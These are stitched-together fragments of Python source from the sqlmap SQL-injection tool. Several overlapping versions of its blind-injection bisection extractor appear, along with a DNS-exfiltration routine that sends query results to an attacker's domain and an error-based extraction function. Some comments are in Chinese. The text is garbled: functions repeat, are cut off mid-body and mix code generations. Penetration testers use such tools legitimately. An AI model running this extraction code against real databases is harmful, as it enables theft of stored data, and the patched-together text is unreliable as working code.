progress.progress(time.time() - charStart, index) elif conf.verbose in (1, 2) or conf.api: dataToStdout(filterControlChars(val)) # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n': finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: kb.prependFlag = False kb.stickyLevel = None retrievedLength = len(finalValue or "") if finalValue is not None: finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not abortedFlag and not conf.api: infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: if conf.verbose in (1, 2) and not showEta and not conf.api: dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise SqlmapThreadException(u"线程内发生意外事件") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
def dnsUse(payload, expression): """ 通过向攻击者的机器发出请求,获取利用DNS解析机制的SQL查询的输出. """ start = time.time() retVal = None count = 0 offset = 1 if conf.dnsDomain and Backend.getIdentifiedDbms() in ( DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL): output = hashDBRetrieve(expression, checkConf=True) if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None: output = None if output is None: kb.dnsMode = True while True: count += 1 # 用于DNS技术中名称解析请求的前缀和后缀字符串的字母(不包括不与内容混合的十六进制字符) # DNS_BOUNDARIES_ALPHABET = re.sub("[a-fA-F]", "", string.ascii_letters) prefix, suffix = ( "%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2)) # MAX_DNS_LABEL = 63 chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms( ) in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2 _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields( expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) extendedField = re.search( r"[^ ,]*%s[^ ,]*" % re.escape(fieldToCastStr), expression).group(0) if extendedField != fieldToCastStr: # e.g. MIN(surname) nulledCastedField = extendedField.replace( fieldToCastStr, nulledCastedField) fieldToCastStr = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms( )].substring.query % (nulledCastedField, offset, chunk_length) nulledCastedField = agent.hexConvertField(nulledCastedField) expressionReplaced = expression.replace( fieldToCastStr, nulledCastedField, 1) expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain) expressionUnescaped = unescaper.escape(expressionRequest) if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): query = agent.prefixQuery("; %s" % expressionUnescaped) query = "%s%s" % (query, queries[ Backend.getIdentifiedDbms()].comment.query) forgedPayload = agent.payload(newValue=query) else: forgedPayload = safeStringFormat( payload, (expressionUnescaped, randomInt(1), randomInt(3))) Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False) _ = conf.dnsServer.pop(prefix, suffix) if _: _ = extractRegexResult( "%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I) _ = decodeHexValue(_) output = (output or "") + _ offset += len(_) if len(_) < chunk_length: break else: break output = decodeHexValue(output) if conf.hexConvert else output kb.dnsMode = False if output is not None: retVal = output if kb.dnsTest is not None: dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) if count > 0: hashDBWrite(expression, output) if not kb.bruteMode: debugMsg = u"在%.2f秒内执行了%d个查询" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) elif conf.dnsDomain: warnMsg = "通过SQL注入DNS数据这种渗透方法" warnMsg += "目前不适用于DBMS %s" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) return safecharencode(retVal) if kb.safeCharEncode else retVal
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ partialValue = "" finalValue = "" asciiTbl = getCharset(charsetType) if "LENGTH(" in expression or "LEN(" in expression: firstChar = 0 elif conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, str) and conf.firstChar.isdigit() ) ): firstChar = int(conf.firstChar) - 1 elif firstChar is None: firstChar = 0 elif ( isinstance(firstChar, str) and firstChar.isdigit() ) or isinstance(firstChar, int): firstChar = int(firstChar) - 1 if "LENGTH(" in expression or "LEN(" in expression: lastChar = 0 elif conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, str) and conf.lastChar.isdigit() ) ): lastChar = int(conf.lastChar) elif lastChar in ( None, "0" ): lastChar = 0 elif ( isinstance(lastChar, str) and lastChar.isdigit() ) or isinstance(lastChar, int): lastChar = int(lastChar) if kb.dbmsDetected: _, _, _, _, _, _, fieldToCastStr = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.unescape(expressionReplaced) else: expressionUnescaped = unescaper.unescape(expression) debugMsg = "query: %s" % expressionUnescaped logger.debug(debugMsg) if length and not isinstance(length, int) and length.isdigit(): length = int(length) if length == 0: return 0, "" if lastChar > 0 and length > ( lastChar - firstChar ): length = ( lastChar - firstChar ) showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) threads = [] if showEta: progress = ProgressBar(maxValue=length) progressTime = [] if numThreads is not None: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) if conf.verbose >= 1 and not showEta: if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X")) queriesCount = [0] # As list to deal with nested scoping rules def getChar(idx, asciiTbl=asciiTbl): maxValue = asciiTbl[len(asciiTbl)-1] minValue = 0 while len(asciiTbl) != 1: queriesCount[0] += 1 position = (len(asciiTbl) / 2) posValue = asciiTbl[position] forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) result = Request.queryPage(forgedPayload) if result: minValue = posValue asciiTbl = asciiTbl[position:] else: maxValue = posValue asciiTbl = asciiTbl[:position] if len(asciiTbl) == 1: if maxValue == 1: return None else: return chr(minValue + 1) def etaProgressUpdate(charTime, index): if len(progressTime) <= ( (length * 3) / 100 ): eta = 0 else: midTime = sum(progressTime) / len(progressTime) midTimeWithLatest = (midTime + charTime) / 2 eta = midTimeWithLatest * (length - index) / conf.threads progressTime.append(charTime) progress.update(index) progress.draw(eta) if conf.threads > 1 and isinstance(length, int) and length > 1: value = [ None ] * length index = [ firstChar ] # As list for python nested function scoping idxlock = threading.Lock() iolock = threading.Lock() conf.seqLock = threading.Lock() conf.threadContinue = True def downloadThread(): try: while conf.threadContinue: idxlock.acquire() if index[0] >= length: idxlock.release() return index[0] += 1 curidx = index[0] idxlock.release() if conf.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length) else: break value[curidx-1] = val if conf.threadContinue: if showEta: etaProgressUpdate(time.time() - charStart, index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if value[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = 0 for i in xrange(startCharIndex, endCharIndex): output += '_' if value[i] is None else value[i] for i in xrange(length): count += 1 if value[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if endCharIndex - startCharIndex == conf.progressWidth: output = output[:-2] + '..' output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%') output += status if count != length else " "*len(status) iolock.acquire() dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output)) iolock.release() except (sqlmapConnectionException, sqlmapValueException), errMsg: conf.threadException = True logger.error("thread %d: %s" % (numThread + 1, errMsg)) except KeyboardInterrupt: conf.threadException = True print logger.debug("waiting for threads to finish") try: while (threading.activeCount() > 1): pass except KeyboardInterrupt: raise sqlmapThreadException, "user aborted" except:
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ abortedFlag = False showEta = False partialValue = u"" finalValue = None retrievedLength = 0 if payload is None: return 0, None if charsetType is None and conf.charset: asciiTbl = sorted(set(ord(_) for _ in conf.charset)) else: asciiTbl = getCharset(charsetType) threadData = getCurrentThreadData() timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode( partialValue) logger.info(infoMsg) elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal and not conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode( partialValue) logger.info(infoMsg) else: infoMsg = "resumed: %s" % safecharencode(retVal) logger.info(infoMsg) return 0, retVal try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API if conf.predictOutput: kb.partRun = getPartRun() elif conf.api: kb.partRun = getPartRun(alias=False) else: kb.partRun = None if partialValue: firstChar = len(partialValue) elif re.search(r"(?i)\b(LENGTH|LEN)\(", expression): firstChar = 0 elif (kb.fileReadMode or dump) and conf.firstChar is not None and ( isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 if kb.fileReadMode: firstChar <<= 1 elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance( firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 if re.search(r"(?i)\b(LENGTH|LEN)\(", expression): lastChar = 0 elif dump and conf.lastChar is not None and (isinstance( conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance( lastChar, int): lastChar = int(lastChar) else: lastChar = 0 if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.escape(expressionReplaced) else: expressionUnescaped = unescaper.escape(expression) if isinstance(length, basestring) and length.isdigit() or isinstance( length, int): length = int(length) else: length = None if length == 0: return 0, "" if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar if length and length > MAX_BISECTION_LENGTH: length = None showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) or 1 if showEta: progress = ProgressBar(maxValue=length) if timeBasedCompare and conf.threads > 1 and not conf.forceThreads: warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically" singleTimeWarnMessage(warnMsg) if numThreads > 1: if not timeBasedCompare or conf.forceThreads: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not showEta and not conf.api: if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) hintlock = threading.Lock() def tryHint(idx): with hintlock: hintValue = kb.hintValue if payload is not None and hintValue is not None and len( hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) forgedPayload = agent.extractPayload(payload) forgedPayload = safeStringFormat( forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) result = Request.queryPage(agent.replacePayload( payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return hintValue[idx - 1] with hintlock: kb.hintValue = None return None def validateChar(idx, value): """ Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay """ validationPayload = re.sub( r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload) if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat( validationPayload, (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape( "'%s'" % decodeIntToUnicode(value)) forgedPayload = safeStringFormat( validationPayload, (expressionUnescaped, idx)).replace( markingValue, unescapedCharValue) result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result and timeBasedCompare and kb.injection.data[ kb.technique].trueCode: result = threadData.lastCode == kb.injection.data[ kb.technique].trueCode if not result: warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % ( threadData.lastCode, kb.injection.data[kb.technique].trueCode) singleTimeWarnMessage(warnMsg) incrementCounter(kb.technique) return result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 5, 4] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: charTbl.remove(ord(char)) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False if continuousOrder: while len(charTbl) > 1: position = None if charsetType is None: if not firstCheck: try: try: lastChar = [ _ for _ in threadData.shared.value if _ is not None ][-1] except IndexError: lastChar = None if 'a' <= lastChar <= 'z': position = charTbl.index(ord('a') - 1) # 96 elif 'A' <= lastChar <= 'Z': position = charTbl.index(ord('A') - 1) # 64 elif '0' <= lastChar <= '9': position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: firstCheck = True elif not lastCheck and numThreads == 1: # not usable in multi-threading environment if charTbl[(len(charTbl) >> 1)] < ord(' '): try: # favorize last char check if current value inclines toward 0 position = charTbl.index(1) except ValueError: pass finally: lastCheck = True if position is None: position = (len(charTbl) >> 1) posValue = charTbl[position] falsePayload = None if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat( payload, (expressionUnescaped, idx, posValue)) falsePayload = safeStringFormat( payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape( "'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat( payload, (expressionUnescaped, idx)).replace( markingValue, unescapedCharValue) falsePayload = safeStringFormat( payload, (expressionUnescaped, idx)).replace( markingValue, NULL) if timeBasedCompare: if kb.responseTimeMode: kb.responseTimePayload = falsePayload else: kb.responseTimePayload = None result = Request.queryPage( forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if not timeBasedCompare: unexpectedCode |= threadData.lastCode not in ( kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode) if unexpectedCode: warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode singleTimeWarnMessage(warnMsg) if result: minValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange( maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or ( retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode ) and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec threadData.validationRun = 0 if retried < MAX_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) if timeBasedCompare: if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s" % ( conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode( retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: threadData.validationRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: candidates = list(originalTbl) bit = 0 while len(candidates) > 1: bits = {} for candidate in candidates: bit = 0 while candidate: bits.setdefault(bit, 0) bits[bit] += 1 if candidate & 1 else -1 candidate >>= 1 bit += 1 choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0] mask = 1 << choice forgedPayload = safeStringFormat( payload.replace( INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0)) result = Request.queryPage( forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: candidates = [_ for _ in candidates if _ & mask > 0] else: candidates = [_ for _ in candidates if _ & mask == 0] bit += 1 if candidates: forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0])) result = Request.queryPage( forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(candidates[0]) # Go multi-threading (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: threadData.shared.value = [None] * length threadData.shared.index = [ firstChar ] # As list for python nested function scoping threadData.shared.start = firstChar try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.index: if threadData.shared.index[0] - firstChar >= length: return threadData.shared.index[0] += 1 currentCharIndex = threadData.shared.index[0] if kb.threadContinue: val = getChar( currentCharIndex, asciiTbl, not (charsetType is None and conf.charset)) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break with kb.locks.value: threadData.shared.value[currentCharIndex - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: progress.progress(threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[ i] is None else filterControlChars( currentValue[i] if len( currentValue[i]) == 1 else ' ', replacement=' ') for i in xrange(length): count += 1 if currentValue[ i] is not None else 0 if startCharIndex > 0: output = ".." + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and ( endCharIndex < length - 1): output = output[:-2] + ".." if conf.verbose in ( 1, 2) and not showEta and not conf.api: _ = count - firstChar output += '_' * ( min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % ( _, length, int(100.0 * _ / length)) output += status if _ != length else " " * len( status) dataToStdout( "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output)) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = [_ for _ in partialValue] value.extend(_ for _ in threadData.shared.value) infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target URL was lost if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = "\r[%s] [INFO] partially retrieved: %s" % ( time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % ( time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in ( 1, 2) and not showEta and infoMsg and not conf.api: dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar threadData.shared.value = "" while True: index += 1 # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if conf.predictOutput and len( partialValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan( partialValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.escape( "'%s'" % commonValue ) if "'" not in commonValue else unescaper.escape( "%s" % commonValue, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery( query.replace( INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue))) query = agent.suffixQuery(query) result = Request.queryPage( agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: if showEta: progress.progress(len(commonValue)) elif conf.verbose in (1, 2) or conf.api: dataToStdout( filterControlChars(commonValue[index - 1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms( )].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape( "'%s'" % commonPattern ) if "'" not in commonPattern else unescaper.escape( "%s" % commonPattern, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery( query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage( agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl, not (charsetType is None and conf.charset)) if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) threadData.shared.value = partialValue = partialValue + val if showEta: progress.progress(index) elif conf.verbose in (1, 2) or conf.api: dataToStdout(filterControlChars(val)) # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[ -INFERENCE_BLANK_BREAK:].isspace( ) and partialValue.strip(' ')[-1:] != '\n': finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue finalValue = finalValue.rstrip( ) if len(finalValue) > 1 else finalValue partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: kb.prependFlag = False kb.stickyLevel = None retrievedLength = len(finalValue or "") if finalValue is not None: finalValue = decodeHexValue( finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite( expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not abortedFlag and not conf.api: infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime( "%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: if conf.verbose in (1, 2) and not showEta and not conf.api: dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise SqlmapThreadException( "something unexpected happened inside the threads") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter( kb.technique), safecharencode(_) if kb.safeCharEncode else _
def __oneShotErrorUse(expression, field): offset = 1 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") dataToStdout("[%s] [INFO] resuming partial value: '%s'\r\n" % (time.strftime("%X"), __formatPartialContent(partialValue))) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue chunk_length = None if retVal is None or partialValue: try: while True: check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start) nulledCastedField = agent.nullAndCastField(field) if Backend.isDbms(DBMS.MYSQL): chunk_length = MYSQL_ERROR_CHUNK_LENGTH nulledCastedField = queries[DBMS.MYSQL].substring.query % (nulledCastedField, offset, chunk_length) elif Backend.isDbms(DBMS.MSSQL): chunk_length = MSSQL_ERROR_CHUNK_LENGTH nulledCastedField = queries[DBMS.MSSQL].substring.query % (nulledCastedField, offset, chunk_length) # Forge the error-based SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) injExpression = unescaper.unescape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True) incrementCounter(PAYLOAD.TECHNIQUE.ERROR) # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, [ \ extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)], \ None) if output is not None: output = getUnicode(output, kb.pageEncoding) else: trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if trimmed: warnMsg = "possible server trimmed output detected (due to its length): " warnMsg += trimmed logger.warn(warnMsg) if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if offset == 1: retVal = output else: retVal += output if output else '' if output and len(output) >= chunk_length: offset += chunk_length else: break if kb.fileReadMode and output: dataToStdout(__formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) else: retVal = output break except: hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise retVal = decodeHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, basestring): retVal = htmlunescape(retVal).replace("<br>", "\n") retVal = __errorReplaceChars(retVal) hashDBWrite(expression, retVal) else: _ 